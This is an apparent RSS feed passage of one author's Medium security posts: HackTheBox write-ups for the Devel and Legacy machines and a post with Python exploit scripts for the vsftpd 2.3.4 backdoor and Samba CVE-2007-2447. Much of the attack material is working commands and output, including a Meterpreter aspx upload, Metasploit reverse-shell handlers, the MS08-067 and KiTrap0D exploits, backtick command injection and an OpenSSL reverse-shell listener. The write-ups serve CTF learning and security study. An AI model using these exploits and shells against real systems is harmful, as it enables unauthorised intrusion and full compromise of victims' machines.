time.</p><h3>Conclusion</h3><p>This post highlights the simplicity of creating malicious projects that could be used to infect victims. The example, while being able to bypass Defender, will most likely be detected by any EDR. If you have any questions or additional information, feel free to leave a comment, I’ll try to get back ASAP :).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=615b761513fe" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/process-injection-series-part-i-pe-injection-615b761513fe">Process Injection Series Part I: PE Injection</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-up of Devel — An easy-rated Windows machine on HTB]]></title>
            <link>https://infosecwriteups.com/write-up-of-devel-an-easy-rated-windows-machine-on-htb-527f37decf99?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/527f37decf99</guid>
            <category><![CDATA[ftp]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[file-upload]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Sun, 21 May 2023 12:28:47 GMT</pubDate>
            <atom:updated>2023-05-21T12:28:47.158Z</atom:updated>
            <content:encoded><![CDATA[<h3>Write-up of Devel — An easy-rated Windows machine on HTB</h3><p>Why having FTP open with a web server might not be the best idea.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*qWTgeNCuE_xK8a8wnOcRgQ.png" /></figure><h3><strong>Summary</strong></h3><ul><li>As always basic enumeration with Nmap</li><li>Anonymous FTP login</li><li>File upload</li><li>Multiple privilege escalation paths</li></ul><h3>Enumeration</h3><p>Hope you have learned what this means. We start with the basic Nmap scan:</p><pre>sudo nmap -p- 10.10.10.5 -T4 --min-rate 1750 -vv<br><br>[SNIP]<br>PORT   STATE SERVICE REASON<br>21/tcp open  ftp     syn-ack ttl 127<br>80/tcp open  http    syn-ack ttl 127</pre><p>Initial enumeration shows ports 21 (FTP) and 80 (HTTP) open. With further enumeration, we obtain the following information:</p><pre>sudo nmap -p 21,80 -sC -sV 10.10.10.5 -T4 -vv --min-rate 1750<br><br>PORT   STATE SERVICE REASON          VERSION<br>21/tcp open  ftp     syn-ack ttl 127 Microsoft ftpd<br>| ftp-syst: <br>|_  SYST: Windows_NT<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| 03-18-17  02:06AM       &lt;DIR&gt;          aspnet_client<br>| 03-17-17  05:37PM                  689 iisstart.htm<br>|_03-17-17  05:37PM               184946 welcome.png<br>80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5<br>|_http-title: IIS7<br>|_http-server-header: Microsoft-IIS/7.5<br>| http-methods: <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>We have anonymous access to the FTP server and we know the web server version now. Since the FTP server appears to have the same root as the web server, we might have a file upload.</p><p>We test that theory by generating a file like echo &quot;pwned&quot; &gt; pwned.txt and uploading it to the FTP server via put pwned.txt. Once we have done that we can visit the web server like <a href="http://10.10.10.6/pwned.txt.">http://10.10.10.6/pwned.txt.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*DTH5bZD4Vji91ejecMRYzw.png" /><figcaption>We see our text on the web server. This means we have file upload.</figcaption></figure><p>To abuse this file upload, we first need to know if we need an asp or aspx payload. The difference between the two file types is: <strong>ASP </strong>is based on <strong>VBScript</strong>, while <strong>ASPX </strong>uses <strong>C#</strong>. It’s more likely that the correct payload is the aspx file, but if in doubt, generate both and try to execute each.</p><h3>Exploitation</h3><p>The exploitation phase beings with the generation of both the asp and aspx payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*ZVlWetQ0a2wT7vXt71w-vw.png" /><figcaption>Generation of payloads.</figcaption></figure><blockquote>Note: While the Meterpreter reverse shell ensures that our connection is secure, we should use randomized names for our files. Names that would be in a wordlist could be found via directory brute-forcing, which then would give an attacker the advantage of knowing file upload was possible <strong>somewhere</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VBqk76O8dzhX_uBTsRKb1g.png" /><figcaption>Difference between the aspx and asp payload.</figcaption></figure><p>After generating the payloads, we can start our listeners (aspx):</p><pre>msf6 &gt; use exploit/multi/handler<br>[*] Using configured payload generic/shell_reverse_tcp<br>msf6 exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_tcp<br>payload =&gt; windows/meterpreter/reverse_tcp<br>msf6 exploit(multi/handler) &gt; set LHOST tun0<br>LHOST =&gt; tun0<br>msf6 exploit(multi/handler) &gt; set LPORT 8443<br>LPORT =&gt; 8443<br>msf6 exploit(multi/handler) &gt; run</pre><p>Browsing to <a href="http://10.10.10.5/shell.aspxobtains">http://10.10.10.5/shell.aspx</a> triggers our aspx payload. After obtaining our shell, we can start enumerating the machine. If we run whoami /priv we can notice we have the SeImpersonatePrivilege allowing us to do the Rotten Potato attack. Running systeminfo shows us there are no patches installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*ECmJYRtNMW_643kBuqt7sg.png" /><figcaption>No hotfixes were installed.</figcaption></figure><p>This means we can run exploit_suggester and use any exploit to obtain NT AUTHORITY\SYSTEM.</p><h3>Privilege Escalation</h3><p>Running exploit_suggester we see a list of possible exploits. Using the first shown ms10-015_kitrap0d allows us to gain SYSTEM.</p><pre>msf6 exploit(multi/handler) &gt; search ms10-015<br><br>Matching Modules<br>================<br><br>   #  Name                                     Disclosure Date  Rank   Check  Description<br>   -  ----                                     ---------------  ----   -----  -----------<br>   0  exploit/windows/local/ms10_015_kitrap0d  2010-01-19       great  Yes    Windows SYSTEM Escalation via KiTrap0D<br><br><br>Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/ms10_015_kitrap0d<br><br>msf6 exploit(multi/handler) &gt; use 0<br>msf6 exploit(windows/local/ms10_015_kitrap0d) &gt; set LHOST tun0<br>LHOST =&gt; 10.10.16.2<br>msf6 exploit(windows/local/ms10_015_kitrap0d) &gt; set SESSION 1<br>SESSION =&gt; 1<br>msf6 exploit(windows/local/ms10_015_kitrap0d) &gt; run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*g-tVppCieTnPw3-g4LSZDQ.png" /><figcaption>And with that we have SYSTEM.</figcaption></figure><h3>Conclusion</h3><p>While having an open FTP server is sometimes common for companies, it should never be in the same directory (or even allow uploads) as the web server. We see how an open FTP server leads to the compromise of a web server, which then allows us to gain a shell. Due to insufficient patching the privilege escalation is trivial, as any exploit made since the release of the OS will work.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=527f37decf99" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/write-up-of-devel-an-easy-rated-windows-machine-on-htb-527f37decf99">Write-up of Devel — An easy-rated Windows machine on HTB</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-up of Legacy — An easy-rated HTB machine]]></title>
            <link>https://medium.com/@Echo_Slow/write-up-of-legacy-an-easy-rated-htb-machine-4a535adc9e01?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a535adc9e01</guid>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[ms08-067]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Thu, 11 May 2023 11:16:57 GMT</pubDate>
            <atom:updated>2023-05-11T11:16:57.635Z</atom:updated>
            <content:encoded><![CDATA[<h3>Write-up of Legacy — An easy-rated HTB machine</h3><h4>A throwback with the exploit</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*YZezQFUcwAfTjT8CwI3uQA.png" /></figure><h3><strong>Summary</strong></h3><ul><li>Basic enumeration</li><li>Usage of Metasploit</li><li>No privilege escalation</li></ul><h3>Enumeration</h3><p>We begin with a simple Nmap scan to find all the open ports:</p><pre>sudo nmap -p- 10.10.10.4 -vv -T4 --min-rate 2500</pre><p>We find the following ports open:</p><pre>PORT    STATE SERVICE      REASON<br>135/tcp open  msrpc        syn-ack ttl 127<br>139/tcp open  netbios-ssn  syn-ack ttl 127<br>445/tcp open  microsoft-ds syn-ack ttl 127</pre><p>Further enumeration with Nmap:</p><pre>sudo nmap -p 135,139,445 -sC -sV -vv -T4 - min-rate 1750 10.10.10.4</pre><p>shows us the following information about the ports:</p><pre>135/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC                                                                                          <br>139/tcp open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn                                                                                  <br>445/tcp open  microsoft-ds syn-ack ttl 127 Windows XP microsoft-ds                                                                                        <br>Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp</pre><p>From this, we can gather that the instance runs Windows XP. With the knowledge of the OS and the ports open, we can try to enumerate some vulnerabilities in SMB.</p><p>Nmap provides SMB enumeration through scripts:</p><pre>nmap --script=smb-vuln* 10.10.10.4                                                                                                                    <br>Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-26 19:08 +00                                                                                           <br>Nmap scan report for 10.10.10.4                                                                                                                           <br>Host is up (0.078s latency).                                                                                                                              <br>Not shown: 997 closed tcp ports (conn-refused)                                                                                                            <br>PORT    STATE SERVICE                                                                                                                                     <br>135/tcp open  msrpc                                                                                                                                       <br>139/tcp open  netbios-ssn                                                                                                                                 <br>445/tcp open  microsoft-ds                                                                                                                                <br><br>Host script results:                                                                                                                                      <br>| smb-vuln-ms17-010: <br>|   VULNERABLE:<br>[SNIP]<br>|_smb-vuln-ms10-054: false<br>|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)<br>| smb-vuln-ms08-067: <br>|   VULNERABLE:<br>[SNIP]</pre><p>We see that the machine is vulnerable to MS17–010 (EternalBlue) and MS08–067. If you were to try EternalBlue (at least with Metasploit), you’d see that the exploit won’t run. The reason being the machine uses the 32-bit version of Windows XP.</p><p>That leaves us with MS08–067 to try.</p><h3><strong>Exploitation</strong></h3><p>MS08–067 is a buffer overflow vulnerability in the Windows Server service. The vulnerability is exploited via sending malicious RPC requests. It’s pretty famous due to the havoc caused by the Conficker worm (which abused this vulnerability). If you want to read more about it, you can do that <a href="https://www.sapphire.net/security/ms08-067/">here</a>.</p><p>Back to exploitation, we launch Metasploit and select the MS08–067 exploit:</p><pre>msf6 exploit(windows/smb/ms08_067_netapi) &gt; set RHOSTS 10.10.10.4<br>RHOSTS =&gt; 10.10.10.4<br>msf6 exploit(windows/smb/ms08_067_netapi) &gt; set LHOST tun0<br>LHOST =&gt; tun0<br>msf6 exploit(windows/smb/ms08_067_netapi) &gt; run<br><br>[*] Started reverse TCP handler on 10.10.16.2:4444 <br>[*] 10.10.10.4:445 - Automatically detecting the target...<br>[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English<br>[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)<br>[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...<br>[*] Sending stage (175686 bytes) to 10.10.10.4<br>[*] Meterpreter session 1 opened (10.10.16.2:4444 -&gt; 10.10.10.4:1033) at 2023-04-26 19:10:28 +0000<br><br>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><p>Set our target, listen interface, and run it. Since the exploit targets a service, once triggered, we are already NT AUTHORITY\SYSTEM, and no privilege escalation is needed.</p><h3>Conclusion</h3><p>This was a straightforward machine. It highlighted the dangers of old vulnerabilities while teaching us that even in modern-day networks, some old technology might still be running.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a535adc9e01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A look at CVE-2011–2523 and CVE-2007–2447]]></title>
            <link>https://systemweakness.com/a-look-at-cve-2011-2523-and-cve-2007-2447-493c1027965d?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/493c1027965d</guid>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[encrypted]]></category>
            <category><![CDATA[scripting]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Tue, 02 May 2023 12:51:43 GMT</pubDate>
            <atom:updated>2023-05-03T09:23:13.082Z</atom:updated>
            <content:encoded><![CDATA[<h4>An easy win but with hidden dangers</h4><p>In this blog post, we’ll go through the CVEs, write Python scripts to exploit them, and expose the dangers of these CVEs regarding OPSEC. You might ask: “Why am I covering these old CVEs?”. I’m covering them because we can always learn from past vulnerabilities while also learning new things.</p><h3>CVE-2011–2523</h3><p>This CVE is a backdoor in the <strong>vsftpd </strong>FTP server version <strong>2.3.4</strong>. The master site hosting the downloadable client had a backdoored version uploaded. The backdoor works by checking if the username string ends with a smiley face “:)”; after which it calls vsf_sysutil_extra(). The called function then binds to port 6200 and awaits a connection. Any command then issued to that port gets executed via execl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*2iJoziZaK26rch4RFev8kw.png" /><figcaption>Showcasing the “:)” comparison.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*w0S6XBpMbKUikDrZypEZlA.png" /><figcaption>Vsf_sysutil_extra function.</figcaption></figure><p>The snippets of the backdoored code are available <a href="https://pastebin.com/AetT9sS5">here</a>. Once we understand the exploit, we can go about automating it.</p><h4>Dangers</h4><p>While it may be tempting to abuse the vulnerability to gain an easy win, there are hidden dangers when using this exploit. Both <strong>FTP</strong> and the backdoor operate over unencrypted protocols. Hence, any attacker could capture a <strong>Wireshark </strong>trace of your exploit and be privileged to the same information you obtained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*tOj-EVvjBMeReLO5GVFK0w.png" /><figcaption>Wireshark capture of the log in request for FTP.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*lHKheM9j9nA1vnL6SfodKA.png" /><figcaption>Wireshark trace of backdoored commands.</figcaption></figure><p>In case you would like to avoid this danger. We can do the following:</p><ul><li>If using <strong>Metasploit </strong>to exploit the backdoor, consider using the reverse_openssl payload.</li><li>If using an exploit script, consider starting a <strong>Metasploit </strong>handler, then upgrading said handler to a <strong>Meterpreter </strong>shell. <strong>Meterpreter </strong>is encrypted by default.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bt8Y2EitUjvTbuX5bdEHZg.png" /><figcaption>Encrypted traffic when using the OpenSSL payload.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HnMjdXDUe3le0MiIXYy95A.png" /><figcaption>Encrypted traffic when using Meterpreter.</figcaption></figure><p>Even with these measures, the initial requests are sent unencrypted.</p><h4>Python script</h4><p>The script uses Python’s <strong>ftplib</strong> and <strong>pwntool </strong>libraries while incorporating multithreading. The script consists of two functions <strong>connect_ftp()</strong> and <strong>connect_shell()</strong>.</p><pre>def connect_ftp():<br> ftp = FTP()<br> ftp.connect(args.ip, args.port) #don&#39;t you love sharing data<br> ftp.login(&quot;lol:)&quot;, &quot;yeah__no&quot;)<br><br>def connect_shell():<br> time.sleep(1)<br> r = remote(args.ip, 6200)<br> r.interactive()</pre><p>This exploit sends all data <strong>unencrypted</strong>. One should use it just for CTFs. As always, the script is available <a href="https://github.com/EchoSl0w/CVE/tree/main/2011">here</a>.</p><h3><strong>CVE-2007–2447</strong></h3><p>CVE-2007–2447 is a remote code execution vulnerability in Samba 3.0.0 through 3.0.25rc3. Attackers can obtain code execution by supplying a username with backticks in it.<br>The exploit is already detailed <a href="https://0x00sec.org/t/cvexplained-cve-2007-2447/22748">here</a>, but to summarize: the username we enter is combined with the script in <strong>smb.conf</strong> then the combined string is executed via our friend execl from before.</p><p>Since we are executing a shell command, we only need command injection which is achieved through the use of backticks. Instead of executing something like:</p><p>/bin/sh sh -c /etc/samba/scripts/mapscript.sh &quot;Username&quot;</p><p>we execute:</p><p>/bin/sh sh -c /etc/samba/scripts/mapscript.sh &quot;Username `payload`&quot;</p><p>Knowing how to execute commands allows us to create a python script.</p><h4>Python script</h4><p>As always, the entire script will be available on the GitHub <a href="https://github.com/EchoSl0w/CVE/tree/main/2007">repo</a>. This script utilizes OpenSSL to create a secure reverse shell.</p><blockquote>Side note: Since the first part of the request is still sent over SMB, it will be visible in Wireshark logs</blockquote><p>First we generate our certificates for the server:</p><pre>print(&quot;Generating keys for the server...&quot;)<br>os.system(&quot;openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj &#39;/CN=www.mydom.com/O=My Company Name LTD./C=US&#39; 2&gt;/dev/null&quot;) # -subj doesn&#39;t matter, use whatever you want</pre><p>After which we create a thread that will connect to the Samba client:</p><pre>def Listener():<br> sleep(1) #wait for the listener to start<br> try:<br>  conn = SMBConnection(username, password, &#39;&#39;, &#39;&#39;)<br>  conn.connect(args.ip, 139)<br> except Exception as e:<br>  sys.exit(e)<br>t1 = threading.Thread(target=Listener,  daemon=True, name=&#39;Listener&#39;).start()</pre><p>And finally, we start the listener:</p><pre>os.system(f&quot;openssl s_server -quiet -key key.pem -cert cert.pem -port {args.port}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*0femqR387Kqjr7XbVzIufw.png" /><figcaption>Image showcases our payload, showing that the initial request is unencrypted, but once executed we have an encrypted shell.</figcaption></figure><h3><strong>Conclusion</strong></h3><p>This post showed some simple CVEs, created a Python script for each and highlighted the dangers of using unencrypted reverse shells.</p><p>Further, Wireshark logs of different types of shells used in Metasploit where shown.</p><p>Consider following me if you have learned anything new :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=493c1027965d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/a-look-at-cve-2011-2523-and-cve-2007-2447-493c1027965d">A look at CVE-2011–2523 and CVE-2007–2447</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>